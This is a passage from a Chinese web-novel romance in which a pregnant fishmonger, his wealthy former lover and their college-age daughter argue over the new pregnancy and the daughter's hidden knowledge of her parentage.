鹤爵道,“我和沈望现在还在犹豫,其实我们的情况有些复杂,就像你能猜到的一样,我们还没有告诉妙妙,不知道孩子究竟能不能接受。” 徐美珊惊讶于他的坦诚,但也气愤于他的无知。 禁不住和盘托出道,“沈望之前的身体很不好,不知道他有没有跟你讲过。” “沈望是男性生子,所以他当初的打算是,把孩子打掉。” 鹤爵:“” “打掉?” 鹤爵的脑袋一瞬间便如同乌云扫境,雷电轰鸣,一场狂风骤雨在他的颅脑中疯狂肆虐,险些将一向镇定的男人攻击得体无完肤。 “你是说?”难以置信,太难以置信了,鹤爵一瞬间感到头重脚轻,双眸微微晃动不安。 “你的意思是说,沈望曾经想打掉妙妙?” 打掉我的孩子? 望崽?! 徐美珊一瞧果然如此,沈望什么都不讲,让面前这个男人自由快活。 她道,“没错,不过据沈望自己讲,他很快又后悔了,而且坚持要生下妙妙。” “可是,你知道他当时属于什么样的生活水平吗?为了攒生产费用,他挺着肚子一天打四份工,还穿着厚厚的棉袄,借口自己有病。” “最可怕的事,不是你现在所看到的。” “沈望为了能用最少的钱生孩子,找的是一家黑诊所。” 鹤爵已经彻底站不住脚,用手臂微微扶住墙边,借以保持身体的平衡。 然而无用,他的世界正在崩塌。 不知道,不知道。 他不知道沈望逃到广城一直在过什么样辛苦的日子。 看了资料袋里的照片,他才知道。 不知道!根本不知道! 他完全不知道沈望怀孕后的艰难生活,完全属于地狱级别的苦难。 徐美珊像是要替沈望出掉这口恶气,言道,“沈望和沈妙妙差点死在黑诊所里,你差点成为这个世界上,一无所有的人!” “这个你知道吗!” 不知道 鹤爵被连续地问题不断打击,高大的身躯已然无法保持站立姿势,而是往后退了又退,直到跌坐进长椅间,半天缓不过来神。 徐美珊的工作紧张,没时间继续留下,她最后奉劝鹤爵一句。 “你首先要自己拿稳主意,保证沈望能在健康积极的环境下生产,即使他不愿意再生你的孩子,也是绝对没有任何亏欠你的地方。” “他是给自己生,从来不是给你。” 第53章 造孽啊 两人一同开车离开妇幼保健院, 鹤爵相对得要沉默一些,沈望虽说同样若有所思,不过却没有对方显得低气压。 尤其,鹤爵的眼眶比自己还夸张。 沈望的眼尾仅是微微扫了一抹薄红, 而鹤爵的眼眸邃深至极, 布满血丝, 浑身散发出一种难以描述的悲怆色彩。 如此怪异的情绪极难从某鹤的脸孔中出现,以至于沈望完全忽略了自己的部分, 转而偷窥起鹤爵的反应。 一路无言到了家门口, 沈望心说这人还真喜怒无常, 才三十岁就如此琢磨不透, 若是到了六七十岁,还不得是粪坑边的石头——又臭又硬煮熟的鸭子——肉烂嘴不烂。 叫什么鹤爵, 叫鹤倔好啦! 所以沈望也没给他好脸, 下车连再见也没讲, 提着裙摆往屋子里走。 鹤爵居然跟着一起进了院子。 沈望没好气道,“妙妙要回家了,你快点走。” 鹤爵一把从背后抱住他,犀利的下颌线抵住沈望的肩窝, 这才从徐美珊的话中挣脱出一丝活气。 “我差点失去你, 沈先生。” 沈望被他叫沈先生, 无端有点滑稽感,不停试着掰开鹤爵搂住腹部的手指, 避免他打扰肚子里的小豆芽睡觉,挺不客气地说, “你还没有真正地拥有过我呢,鹤先生。” 鹤爵想想也是, 情绪愈发低迷至低谷,这是他辉煌一生中所不曾拥有的挫败感,混杂着无力。 还有极大地庆幸。 他说,“沈望,我亏欠你太多,也亏欠妙妙太多,我思考了很久,越挣扎越陷得深。” “我们应该一家三口团团圆圆地在一起,让我更好地爱你,爱妙妙,我们三个人把未来的日子过好,你觉得呢?” 他话里话外讲得含糊,沈望居然听明白了。 鹤爵抱住他的腹部,他的肚子软软的,一鼓一鼓的,连带着胸腔一起起伏,骤而剧烈得颤动。 鹤爵立刻警觉,将沈望转过身来,所见的景象已经叫他心道不妙。 沈望并没哭,一滴眼泪也没有,而是用一种恨意十足的眼神打量他。 鹤爵连忙抱住他,轻声求道,“我不是要放弃你肚子里的二宝,我是再舍不得你受苦了。生孩子并不是一件轻松的事情,它会吸干你身上的全部营养,而且你之前怀妙妙的时候身子落下病,我真的超级害怕这次的怀孕,会让你的身体负担加重。” “沈望,人非草木孰能无情,我对你肚子里的孩子是充满期待的,可是我们之间还有一个最重要的宝贝。” “我想像你一样,把所有的爱全部给予我们的女儿,我现在满心满眼只想把自己掏空,全部用来疼爱你们两个最重要的人。” “望崽!” 鹤爵抱住沈望的嘴唇亲了又亲。 “我们一家三口会过得更好,我不能再忍受你因为怀孕而被逐渐拖垮的身体,也不希望你被生育这件事紧紧捆绑,你应该也有自己很想完成的事情,我会陪你一件件去实现,让你不再被拘束在大广福菜市场里。” “你前十几年所遭受的苦楚,应该结束了。” 鹤爵是发自真心地疼惜沈望,所以鱼和熊掌不可兼得情况下,肯定是要选择沈望的。 恐怕连妙妙也得排在第二位。 沈望的脸一阵白一阵红,倒是没什么特别激动的反应,而是推开鹤爵,指着他说,“你稍微等我一下,我找个东西。” 转身进屋拿了一把扫地笤帚,照着鹤爵不论章法,一顿狂打,边打边气道。 “鹤爵你太狠心了!” “你们资本家的心完全就是黑的!又狠又歹毒!” “我肚子里的二宝已经有心跳了,你居然让我打掉它,你根本不是普通的人类,你是从石头山上掉下来的石头人!你的心太硬了!” “你没有感情,你没有心,你活活的大畜生!” 鹤爵不能反抗他的攻击,任由扫帚满头满身的招呼,疼肯定是非常疼的,沈望杀鱼杀了十几年,臂力狠劲齐全极了。 鹤爵的胸口跟后背着实挨了十几笤帚,打得皮肉火辣辣的疼,宛若拿皮鞭抽他似的。 鹤爵不躲不闪,对沈望道,“你不要闪到腰,当心身子!” 沈望更生气了,“反正你也不要我肚子里的孩子,说什么好听的话,完全是出于你的自私自利,你们这些坏资本!” 大概是话赶话说急眼了,沈望直接抛出杀手锏道,“你知道妙妙为什么最讨厌你吗?!” “因为在这本书里,就是你找来的私人保镖欺负她,眼睁睁看着惨死在难产中!你这个坏东西,还敢在我面前出馊主意!” 沈望连骂代打,直接将鹤爵给轰出家门口,狠狠甩上铁门,完全不听他的任何解释。 鹤爵这辈子还没如此狼狈过,真的,从来只有他打人的份儿,能被攻击到灰头土脸,浑身是痛的地步,只有发飙的沈小望可以轻松办到。 妙妙晚上兴高采烈地回家,总感觉家里的氛围感十分凝重,爸爸居然没有笑脸迎她,而是闷不吭声坐在餐桌前,桌面摆着点的外卖披萨。 沈妙妙吐吐舌头,一把搂住沈望的肩膀道歉说,“亲爱的爸爸对不起,说好只在外面玩四个小时的,结果回来晚了啦~” 用手指拨开披萨盒子,喜滋滋地讨爸爸欢欣说,“居然是我最喜欢的口味,这个世界上怎么会有这样懂我的人呢?” 沈望沉郁的情绪稍微减轻一半,转身拉住女儿的手,轻拍了一下,“小馋猫快去洗手,我把披萨再拿去热一下。” 沈望顺便还洗了女儿最爱吃的葡萄,肚子里的二宝虽然比沈妙妙还娇气,看见什么不爱吃的东西立刻叫沈望产生恶心感。 不过两人爱吃的水果倒是一样。 都是圆溜溜的葡萄,所以沈妙妙的眼睛才又黑又亮。 沈望吃了不少葡萄,水滋滋的美味极了,不过他也不敢多吃,据说孕妇吃太多葡萄血糖会增高。 沈望给女儿剥了半盘子的葡萄皮,这才想起来问沈妙妙怎么今天玩得这样高兴,连回家时间都忘记了? 沈妙妙说,“我今天超级幸运。” 原来她跟高中关系很好的几个小姐妹约好,暑假回来后要一起玩的。 所以几个小丫头按照约定,先去了商场逛街,又去了游乐园拍照打卡。 结果遇见整座游乐园电脑系统抽奖,获奖游客不但能免费玩全套,还可以免排队,堪比优速通。 五十几个项目,说实话,沈妙妙上大学之前根本没玩过。 沈望肯定是带她来过的,可是沈妙妙不想浪费爸爸辛苦挣得钱,借口不喜欢游乐园。 从小都是。 游乐园结束之后,还有某著名歌星的私人演唱会,全场只有五十位观众。 小姐妹们都超级迷恋这位影视歌三栖明星,整场演唱会不但靠近聆听偶像的绝美歌喉,更是能与其亲密互动。 沈望立刻就明白为了拖延女儿回家的时间,鹤某人究竟做了什么小手段。 所以淡淡问,“半天都讲了你的小姐妹,难道妙妙公主不喜欢这位男明星吗?” 沈妙妙吃着葡萄摇头,“不喜欢啊。” 沈望倒是挺好奇,“怎么会呢?你们这个年纪的小姑娘最喜欢追星了吧?” 沈妙妙道,“可我是个例外啊。” “有的人喜欢追星,我当然不能讲人家不好,单纯从我的角度来分析,我觉得追星太容易消耗感情,明星都是包装起来的人设,他现实生活中又不是这个样子,我不追求虚假的东西。” 而且。 沈妙妙给沈望嘴里喂了一颗最甜的葡萄,“根本没有一个明星能比我爸爸还好看,看他们还不如看你呢!” 沈望噗嗤笑了,被鹤某人搞坏的心情立刻得到修补,而且滴水不露。 沈妙妙差不多十一点就寝,沈望给她的屋子里早熏好蚊香。 沈妙妙说,“爸爸的香味很神奇,感觉蚊子从来都不叮我,全部绕开走。” 沈望拍拍她的腰侧,替女儿拉好蚊帐,安静地退了出门。 今夜注定是难眠的一夜。 沈望坐在花架下看了半小时的星辰,肚子里的宝宝禁不住困了,他也趁着浑身困乏,进自己的卧室去睡觉。 谁知院子墙头忽然冒出一具人影,应该是怕自己突然出现,会令沈望心生恐惧,所以小声喊着,“沈望!” 沈望怎么可能听不见人叫他的名字,下意识从屋子里提出扫帚,走到围墙附近能看见对方的距离,指着某鹤道,“你是不是今天没被打爽?” 鹤爵一夜给他发了不少信息,完全石沉大海,他现在心如刀割,肝如沥油,坐立不安,很难不顶着风险,出现在这里。 还用如此狼狈又可笑的方式。 沈望原本是打算再给他一顿暴击的,不过他隔着庭院内昏暗的灯光,发现鹤爵的面颊侧带着一道青紫色的痕迹。 打人不打脸,若是真的打了,一定是因为乱中手误。 尤其鹤爵的右臂被绷带吊着,应该刚从医院回来。 沈望这才回忆起自己的打狗棍法敲过不少欺负自己的坏人。 不过鹤爵并不无辜,他才是最大的坏人头子。 沈望将扫帚丢开一边,冷幽幽望着站墙头的鹤爵,“有屁快放,我要睡觉去了。” 鹤爵提起能动的左手,摁住突突发疼的太阳穴,强行抑制内心的糟乱与痛苦。 “真的是我间接害死咱们的女儿吗?!” “沈望,这件事绝对不能有任何差错,假如真的是我的话,我立刻把命赔给妙妙!” 沈望才不稀罕他的烂命,言道,“所以我才故意让你来破坏妙妙跟萧诼之间的事情,即使你有罪,去找萧诼发泄吧,我这边已经报复完了,没什么可跟你多说的!” 鹤爵依旧不死心地解释,“这世界究竟是一本什么垃圾小说?我就是天下最混账的混账,怎么可能会去伤害自己的亲生骨肉?” “难道,我就不怕遭报应吗?!” 你有报应啊,时候未到而已。 沈望说,“我到京城那夜做的梦,你找来的保镖在破烂的屋子里为难妙妙,妙妙都快生了,你的那些走狗还不依不饶,说鹤先生不喜欢男主跟鹤若妍在一起,要妙妙供出男主的藏身之处。” 不说还罢。 沈望的眼泪彻底兜不住了,指着鹤爵流泪道,“你害完我的女儿,还想来害我肚子里的,鹤爵,这个世界上绝对没有比你更加残忍的存在了。” “我跟你,想想还是算了吧,我们无缘无分,根本无须强求。” “等等!”鹤爵显得焦急万分,“你先不要擅自下定义,你说你做梦时发现我们的世界是一本狗血小说。” “然后呢?你梦见的剧情彻底没有发生,你怎么能用小说剧情,来判定我有死罪呢?我发誓不会这样对我们的孩子!!” 等等! 鹤爵道,“你说什么?鹤先生?” “整个京城的人,人人尊称我爵爷,没有人敢乱叫我鹤先生的。” 说着。 鹤爵掏出手机,给鹤若妍的父亲打了一通电话,语气冰冷到仿佛没有人类情感,“鹤三少,以后你走你的阳关道,我们两家再无来往。” 沈望:“” “!!!!” 鹤爵说,“我跟我二哥、大哥全部都断绝亲戚关系,以后老死不相往来。” 沈望:“” “你先下来,可能这剧情有BUG。” 鹤爵才不管。 两人正纠结着究竟是要跟哪个鹤家亲戚断绝关系。 沈妙妙迷迷糊糊往院子喊道,“爸爸,你大半夜的不睡觉,在院子里说什么呢?”!!!! 沈望用手一指鹤爵,叫他快速消失,自己则假装打着哈欠,往屋子里去稳住女儿道,“没什么,你睡糊涂了,爸爸是睡不着,在院子里瞎转悠呢。” 然后,隐约听见鹤爵踩着的高梯子似乎没撑住劲儿,连人带梯子翻倒在地,还有人类痛苦的闷哼声。 第54章 两个老父亲 第二天一早, 家里的破铁门就被人敲个没完没了。 沈望勤奋了十几年,每天准时起床去码头进货的人,因为怀了孕身子变懒了,所以也就没正常出门。 不过他若是不起床的话, 女儿就得去开门。 沈望踏着拖鞋走出卧室, 沈妙妙也同时带着耳机出现。 沈望惊奇地问, “你怎么没睡懒觉?” 沈妙妙将耳机摘下来,“我正在备考11月份的BEC中级, 每天早晨做点听力练习。” “BEC是啥?”沈望完全听不懂这高级词汇, 不过一听就是很牛逼的感觉。 我女儿真是太优秀了。 沈妙妙解释, “爸爸, BEC就是Business English Certificate,是商务英语的缩写。” 哦。 沈望立刻来了兴趣, “难道我的宝贝将来想做生意?” 沈妙妙笑了, “多项技能多条路嘛, 我也想尽力找到好工作,为你分担一部分。” “感谢老天给我这样优秀懂事的乖女儿,我现在就去给你弄早点,咱们今天吃得丰富一点。”沈望笑着打量掌上明珠。 沈妙妙说, “爸爸, 门口敲门的人手快断掉了吧?” 哦哦。 沈望又不开心起来, 真是讨厌,哪个讨人厌的家伙大清早跑来打扰他的宝贝女儿学习。 嘟嘟哝哝去开门。 结果大铁门外站得居然是右手臂吊起绷带的鹤爵。 鹤爵今天穿得异常隆重, 高级定制的深蓝色西装紧紧包裹颀长的身姿,遍体洋溢出矜贵奢华的气质, 尤其头发也用摩丝抓得极其有型,看起来完全不像是来敲他家破门的, 而是足以登上T台的模特。 沈望睡得头发都蓬乱了,人也懒洋洋的,抬头凝视着金装玉裹的优质男人,言道,“先生,你恐怕走错门了?” 鹤爵则照着他的脸颊。猝不及防地亲了一口,“别想跟我假装不熟。” 而后大咧咧往屋子里走。 沈望吓得三魂丢了六魄,尾随鹤爵低声警告,“你在做什么?你往哪里走?!快出去呀!” 鹤爵已经快步走进屋,毫无避讳,与沈妙妙笔直地对视三秒。 沈妙妙:“鹤先生?” 鹤爵道,“沈小姐不知道有没有空,我想跟你商议一件重要的事情。” 沈妙妙瞧他意气风发,不像是捉弄人的样子,禁不住问,“我还是有自知之明的,怎么敢让鹤先生来跟我谈什么商量。” 沈望原本扯住鹤爵的西装后面,但见沈妙妙的目光飘来,双手举起道,“我不认识他!” 鹤爵瞬间被气笑。 沈望又叉腰盯住俩人,“你们俩什么时候背着我互相认识的?” “鹤爵!” 是。 鹤爵当着沈妙妙探究的视线,一把搂住沈望的腰,亲昵又不失风度道,“我想请沈小姐同意,我和你爸爸的婚事。” 沈望用拖鞋狠狠地碰触鹤爵的真皮皮鞋,用嘴角挤出满满地抱怨,“你在讲什么蠢话,谁要跟你结婚呀,不要再添乱了,快点走吧。” 沈妙妙则显得分外平静,这一点上她是活生生地继承了鹤爵的优秀基因,敌不动我不动,敌动我也不动。 冷冰冰问,“据我所知,鹤先生是京城鼎鼎有名的大富大贵人家,平常的追求者早已经把鹤家的门槛踏破了吧?” 沈妙妙看了眼沈望,沈望感觉她这犀利的眼神分外眼熟。 不对,这类眼神的正主此刻远在天边近在眼前。 沈妙妙一把拉住沈望的手臂,给人拉到自己的身后,气势逼人道,“我讲这话并非在说我爸爸不如那些人,而是我的爸爸实在太珍贵了,尤其是对我来讲。” “所以鹤先生若是想结婚的话,随便去那些预选人里大抓一把,我的爸爸没有参加豪门婚姻游戏的爱好,这边恕不奉陪了。” 鹤爵肯定不会轻易放弃,他昨晚彻夜思考,分明沈望就是他的爱人,为什么要躲着沈妙妙搞地下活动? 他们又不是在偷情! 况且,沈妙妙也是他的亲骨肉,不应该让女儿像对待陌生人一样对他。 他也希望女儿祝福他俩。 鹤爵说,“妙妙,你误会了,我这辈子只爱过一个人,那就是你的父亲沈望,我来询问你的意见,是因为我也必须要尊重你,你是沈望的宝贝。” 也是我的。 沈妙妙轻笑一声,朝沈望问道,“爸爸,这个人好奇怪啊,他居然说他爱你,是从什么时候开始的呢?” “是刚刚?昨天?还是很久以前?” “假如说是很久以前,那这些年他在京城吃香喝辣,八面威风的,可曾有想起过你一星半点?可曾派人找过你的踪迹?有没有在这十几年里主动问过你,究竟是怎么过日子的?又有没有关心你,是怎么艰难求生存的?” 本来不打算激动的,小姑娘的城府终究是有点稚嫩,忍不住吸了吸鼻子,“我不同意你再来追求我爸爸,这就是我的决定。” 沈望最见不得女儿难过,即使沈妙妙比一般女孩子更加坚强,只要情绪中有一丁点儿的波动,便会成百上千倍地传递向沈望。 沈望承认自己有时候是挺没有什么出息的,眼眶极快地泛了红,肚子也微微有点坠痛感,可能肚子里的小豆芽也不怎么开心。 鹤爵不能用白寒书的罪名,将这些问责全部抹平,他自己也有做得很不对的地方。 “是的,妙妙你讲的很好,这些确实是我最大的错处,我承认。” “但是我的前半生已经积累了很多的错误,如果我不能用余下的半生将这些错误一一改正,那我也不配站在你的面前,讲这些可笑的誓言。” 鹤爵拉住沈望的手,眸中尽显真挚的深情,“我绝对不是想补偿你爸爸,我是想认认真真地跟他共度余生。” 感觉女儿并不信任自己,鹤爵准备再表明一下态度。 不过,等等。 鹤爵仿佛从沈妙妙的话外音中,抓到一丝隐藏的小尾巴。 “不对,为什么你能准确的说出在十几年前,我辜负了你的爸爸?” 鹤爵凝视沈妙妙的目光犀利至极,“你已经不再是小孩子了,张嘴说话肯定不是胡说,你” 沈望也二丈和尚摸不准头脑,转而看向沈妙妙。 沈妙妙的小脸瞬间变得通红,双腮微微气鼓,不一阵又转变为青白,失色得厉害,也极不正常。 好吧!! 沈妙妙突然大叫一声,“好吧,我也不伪装了!” 她用纤纤细指指向鹤爵,“我早知道你是谁,鹤先生!” 这句话乍听没什么毛病,实际上仔细回味一番,隐藏的信息量达到惊人的程度。 沈望作为三个人中反应最慢的,也在下一秒明白了沈妙妙究竟在说什么? “这怎么可能呢!”沈望抱住肚子,难以置信地摇摇头,他知道女儿比平常孩子要聪明许多,可他似乎遗忘,女人敏锐的第六感也同样是一种锋利的锐器。 “妙妙,妙妙你!”沈望拉住沈妙妙的手,“你怎么可能知道” 我是个会生孩子的怪物?!! “我怎么可能不知道呢?”沈妙妙反手抓住爸爸冰凉的指尖,“你肚子上的疤痕,我的出生证明,你梦里哭着喊姓鹤的名字,而且你也从没有重组家庭的想法,更不喜欢女性!” 能够翻找出来的细节太多太多! 沈妙妙道,“爸爸,我和你一直都生活在一起,我才是这个世界上,最亲近你,最懂你的人啊!” “我是从爸爸的肚子里生出来的,我小时候说过,爸爸的肚子里有好吃的、好玩的,我从小就知道这一切!” 瞒不住,瞒不住,根本瞒不住! 沈望的内心先是一阵强烈的窒息,生怕秘密暴露的那一刻,在女儿的心底便宣判了他的死刑! 爸爸是怪物,爸爸是一个能怀孕,能生孩子的怪物! 这过度的忧惧仿佛捆绑的绳索,狠狠地勒住他的咽喉,使得沈望在逐渐窒息中眼冒金星、天旋地转。 他真的不能失去沈妙妙,即使如今失去鹤爵,也没有什么感觉,但是在女儿的心中,他必须是最值得依靠,顶天立地的存在。 在女儿说出隐藏多年的秘密时,沈望迎来的并非是宣判,而是彻头彻尾地解脱。 这突如其来的疏松感、轻快感、解脱感迎面扑上心头,使得他的情绪经历大落大起,也等同于给人致命一击。 沈望悲极生喜,眼前的金光更是蒙起一层浑浊的烟霭,等他想紧抓女儿的小手时,人已经彻底虚脱地晕了过去。 不知过了多久。 沈望压抑在心底十几年的磐石,才一点一块地移开,令他能呼吸到新鲜的空气,黑沉沉的眼帘中也慢慢渗透进光明。 沈望摸了摸鼻子,原来他的脸上挂着吸氧装置,人还眩晕得不像话,已经张嘴喊着,“妙妙,妙妙” 鹤爵一把握住他的手,不让他随便拨开吸氧装置,小声解释,“你是最近休息不好,怀孕了还疲于奔波,营养也没好好跟上。” 沈望摇摇头。 鹤爵道,“女儿很好,她并没有情绪激动,现在人在外面,我去把人叫进来。” 沈望点点头,又说,“都怪你。” 鹤爵帮他掩了掩被子,“是,全部是我的错,妙妙不喜欢我是正确的,无论多少年,我会弥补。” “可是,我们不能永远隐瞒孩子,我们隐瞒地越久,对孩子来讲才是一种残忍。” “这个坏人彻底由我来做,你不用担心。” 鹤爵摸摸他的脸,又轻柔地抚摸了一下沈望的腹部,叫他再睡一会儿,等营养输完他们就一起回家。 鹤爵安顿好沈望,转身出门去找沈妙妙。 沈妙妙刚和徐美珊了解完沈望的情况,一张小脸带着几分愠怒与冷然,等着事情的正主显身。 真是说曹操曹操到。 鹤爵伸手抓乱了头顶的发丝,又微微整理了一下,走到沈妙妙面前道,“你爸爸没什么大碍,不用太担心。” 沈妙妙啧了一声。 之前还伪装成乖乖女,跟鹤爵有来有回地打了几轮太极,现在纸窗户已经被捅破了,也没有必要再伪装自己。 对,就是那种纯天然的厌恶情绪。 沈妙妙双手环在胸口,一副高高在上的质问语气。 “你是不是没有生理常识?” 嗯? 鹤爵明显感到对方的冒犯,不过是自己的女儿,暂且忍耐一下,现在的家庭情况正处于分崩离析,需要更多的爱和耐心来修修补补。 他活真么多年,爱好像并没有很多的样子。 沈妙妙越想越生气,可是越生气才越容易令人感到冷静。 “你跟爸爸做那种事,完全不戴措施的吗?” 难以理解这些脑残的男人,当然绝对不包括他爸爸。 “你是不是故意的?”沈妙妙问,“你是不是知道爸爸能生孩子,故意弄个牵绊出来,套住他?” “真卑鄙啊。” 鹤爵打断道,“我并不知道沈望能生。” 而且,让亲生女儿来讨论两个老父亲为爱鼓掌,是不是很不妥帖? 沈妙妙闻言更是难以置信极了,“你怎么可能不知道呢?这种事情很显而易见吧?动动脚趾也能想清楚,好吗?” 第55章 二宝在肚子里盯着呢 鹤爵还真是被气笑了, 倒是没有跟沈妙妙生气的念头,只是颇为讨嫌地回了一句。 “我若是前些年感受到你爸爸能生的话,现在的你,早就被我训练成一只真正温顺的淑女猫了。” 啊?猫??! 沈妙妙才是真心要翻脸了, 面前这位是什么品种的老不羞?!居然还觉得, 有朝一日能用父亲的名义压制自己一头? 他配吗? 沈妙妙冷冷地笑了声, “恐怕你还真不好有这样的机会,鹤先生。” 鹤爵亦冷然地颔首示意, “我一向喜欢迎接挑战, 沈小姐。” 哼。 俩人的目光兵刃相接之后, 沈妙妙突然跑了起来, 等鹤爵有所反应的前一秒,小姑娘快如闪电, 滋溜钻进病房, 反手锁了门。 沈望被关门声惊醒, 眨巴眼朝向女儿,忽然有点成年人难得的害羞,但也因为女儿的救赎,感到无比的幸福。 人真是一种充满各种矛盾的复杂体。 沈妙妙先去看了眼他手背间的输液器, 谨防针头从皮肉间穿刺, 而后问爸爸还感觉头晕吗? 沈望羞愧的点委实太多, 例如到了他这个岁数的人,极少数还会有生育的想法;例如他一个六尺男人居然还能生育。 还例如:他去京城是提防女儿被渣男骗身骗心骗怀孕的, 结果恰恰相反,是他被鹤爵给弄怀了, 还灰溜溜地滚回来。 沈望:“” 沈望偷偷摸了一下腹部,有点犹豫道, “其实我跟鹤爵之间并不是你想的那样我们两个纯属意外” “假如宝贝介意的话这个孩子可以” “可以什么?”沈妙妙在鹤爵面前趾高气扬,反倒在沈望面前心平气和,两张面孔切换自然。 “你们打算当作没有这回事?没拥有过肚子里的宝宝?在我不知道的时候,背着我偷偷把这孩子处理掉?” “不是处理。”沈望咬了咬嘴唇。 沈妙妙道,“肯定全部都是姓鹤的提出的坏主意!我当初第一眼看他就不像是个善类。” 坐在病床一侧,用手抚摸着沈望苍白的面颊,“爸爸,你知道流产对身体其实也会有损伤的吧?” “既然怀了,那就生吧。”沈妙妙换成释然的微笑,“我和爸爸可以一起努力抚养它长大,无论是弟弟或者妹妹,但凡是爸爸生的,我都超级喜欢。” “而且,我想,只要是爸爸的孩子,都是这个世界上最幸福的小天使,虽然我一个人很幸福,但是多一个人,我们会一起分享幸福,也会一起来爱你的。” 不知怎么的,沈望感觉自己再一次被女儿救赎,他虽然总在强调自己是一个宠女狂魔,但更多时候,女儿也在反过来宠他。 病房的门适时被敲响,传来护士的柔软细语,“您好,我来给病人测量一下.体温。” 想也知道是怎么回事。 沈妙妙打开门,护士的前面站着纹丝不乱的鹤爵,有外人在场,沈妙妙肯定不会乱讲话的。 俩人又是一阵目光对射,火光电石。 护士替沈望拔掉手背的针头,鹤爵上前帮他摁住,避免针孔回血。 沈望说,“没关系,这种小事,我自己就好。” 鹤爵道,“刚说了,你最近操劳太多。” 沈望:“摁个棉签而已,不算累啊。” 沈妙妙:疯狂翻白眼。 鹤爵驾车给父女俩人送回家去,沿路上鹤爵一个人坐在主驾驶,父女俩有说有笑地坐在后排。 很难融入感+1 沈妙妙像是故意要找他的不痛快,微笑道,“我和爸爸决定,要一起抚养肚子里的宝宝。” 鹤爵闭嘴不接。 沈妙妙继续说,“可是我现在仍然处于上学阶段,没有很多时间悉心照顾爸爸,而且他这种身体情况要生出健康的宝宝,除了营养跟上,医疗也必须要跟上,这样我才能放心。” 是,沈总 不对!! 这一切与鹤爵的担心决然不同。 鹤爵以为的沈妙妙:知道自己是亲爹,发疯大叫!知道俩爹又造出来一个新生命,疯狂咆哮,知道俩爹经历十八年岁月沧桑,依旧死灰复燃,重浴爱火,势必摧毁一切,做断情绝爱的覆灭圣手。 实际上的沈妙:冷静、从容。 甚至隐隐中有点憋着大招之后前,先算计你几把的小狡黠。 但是女儿也在看见沈望住院的情况下,聪明地做出了退让。 当然,只针对沈望。 沈妙妙道,“我决定和鹤先生轮流照顾爸爸。” 都已经开始下决定了吗? “我正好放暑假,先照顾爸爸一个月,等我回京大的期间,就劳烦鹤先生操心。” “我算了下日子,寒假之后,爸爸临产差不多是二月,我们一家三口的生日居然都在春天,真是不错。” 一家三口里肯定是没有计算鹤爵的。 鹤爵简直被某些小聪明的算盘精到了,他这辈子做生意的唯一准则便是,没有绝对的敌人,只有永恒的利益。 小姑娘为什么没有去学金融,简直屈才。 鹤爵想了想,便真得问道,“沈小姐学习成绩一向名列前茅,有兴趣到国外留学吗?” 他居然如此着急得打算除掉我? 沈妙妙双手环在胸口,“先不说这个,我爸爸原本计划不再做鱼店的生意,准备开一家饭店的,现在计划全毁了,你应该感到自责。” 鹤爵掀起眼帘看了一眼沈望,沈望夹在两人之间的明争暗斗中,显得颇为无奈。 但不难过。 足以见得妙妙这孩子确实懂事,凡事都先以沈望的心情为主,他作为沈望的爱人,这一点上完全被女儿比了下去。 深刻检讨一秒钟。 鹤爵道,“你爸爸是自由的,如果他希望我能在事业上对他有所帮助,我会极力做到最好。” 沈望终于找到了讲话的机会,赶紧插嘴道,“我有手,不需要你帮忙。” 鹤爵将两人载到家门口,沈妙妙下车做的第一件事就是阻挡住对方下车,并提出要求道。 “之前已经说定了,爸爸在暑假期间由我照顾,鹤先生这段时间应该也被叨扰很久,快点回京城吧,这边就恕不送客了。” 鹤爵:“赶我走?” 沈妙妙挥挥手道,“一个月后,我会将爸爸亲自送到鹤公馆。” 鹤爵思索了片刻,“那我想跟你爸爸道个别,沈小姐不可能连这种小事都不同意吧?” 沈妙妙啧了一声,转身走了,留下两人的独处空间,不过鹤爵耳朵灵敏,似乎听见某人偷偷给他下了定义。 黏黏糊糊。 鹤爵头顶起被亲生骨肉嫌弃的名头,稍微抱了抱沈望,禁不住许久没有认真汲取对方体香的念想,又将头部掩埋进对方的脖颈。 “之前的打全白挨了。” 沈望想起自己抡起笤帚打他,下手确实怪重的,怀着担心问,“你的胳膊怎么样?”其实早晨一见面就打算问来着,怎么昨晚上还吊着绷带,今天早晨连绷带瞬间拆掉了? 鹤爵道,“你女儿太厉害了,我怕一条胳膊拧不过她。” 其实浑身疼得要命,从梯子上跌下来时还闪到了老腰,不过沈望突然晕厥的时候,他就彻底忘记全部伤痛。 现在女儿嫌弃他,用好听的话逼他快走,鹤爵又不能不同意。 沈妙妙这小棉袄只负责给沈望保暖。 沈望其实也摸不透女儿内心究竟是什么打算,不过他从小便像是一只小狗,只要能咬住尾巴尖那一点点的幸福,完全能快乐地度过一天。 四舍五入,沈妙妙算是勉强接受了鹤爵的存在吧。 不然还能怎么样? 难道要搞得妙飞鹤跳不成? “总之,女儿不算太排斥你。”沈望也实在找不到更好的解释,“肚子里的宝宝也应该很开心。” 他抓住了鹤爵的手,放在自己的腹部,两只手掌锲合地叠加在一起,积蓄了全部的热量。 鹤爵凝视他的一举一动。 沈望道,“我想生这个孩子,不仅是因为妙妙的原谅,也不仅是因为你,我想多给自己创造一个家人。” 他的眼睛亮晶晶的,以至于鹤爵再不忍心说任何忤逆他的话,微微点头道,“好,我在九月的京城等你。” 沈妙妙进屋后,早将这一切尽收眼底,单手紧紧攥住窗帘的一角,内心积攒的恼怒全部发泄在手中的布料上。 朝向那个抱着爸爸的不要脸的家伙,隔空挑衅道,“等我顺利毕业了有你好看!” 沈望第二天起床,沈妙妙已经将香喷喷的粥饼出锅,摆在漂亮的瓷盘中,还给爸爸专门温好牛奶。 沈望大喜过望,又忍不住建议说,“不用太照顾我,你每天早晨起来不是还要学习吗?我自己弄早点就好。” 话是如此,沈望还是高高兴兴地跟女儿享用了一顿丰盛的早点。 沈望说,“午饭你就不要管了,咱们中午下馆子,把你朱叔叔和宋叔叔都请上。” 沈妙妙说,“行,今早我陪你一起去鱼店帮忙。” 沈望其实挺不想让她去的,鱼店又不是什么好地方,脏兮兮乱糟糟的,生意忙起来连个坐的时间都没有。 可是,这就是他和沈妙妙赖以生存的环境啊。 他还记得自己刚开始杀鱼,沈妙妙被他放在一旁垫了垫子的圆桶里,沈望一边要笑着接受各种顾客地挑剔,还要照料桶里的妙妙,眼睛一点也离不开女儿,担心孩子被人给抱跑了。 后来妙妙再大一点,沈望就给她买一双小雨鞋,让她在充满腥臭环境的鱼店里帮点力所能及的小忙。 沈妙妙长得水灵可爱,甚至帮沈望招揽不少生意,也出主意赶走不少故意找茬的客人。 沈妙妙从小闻惯了沈望的香味,同样也浸润了不少腥臭的血腥味。 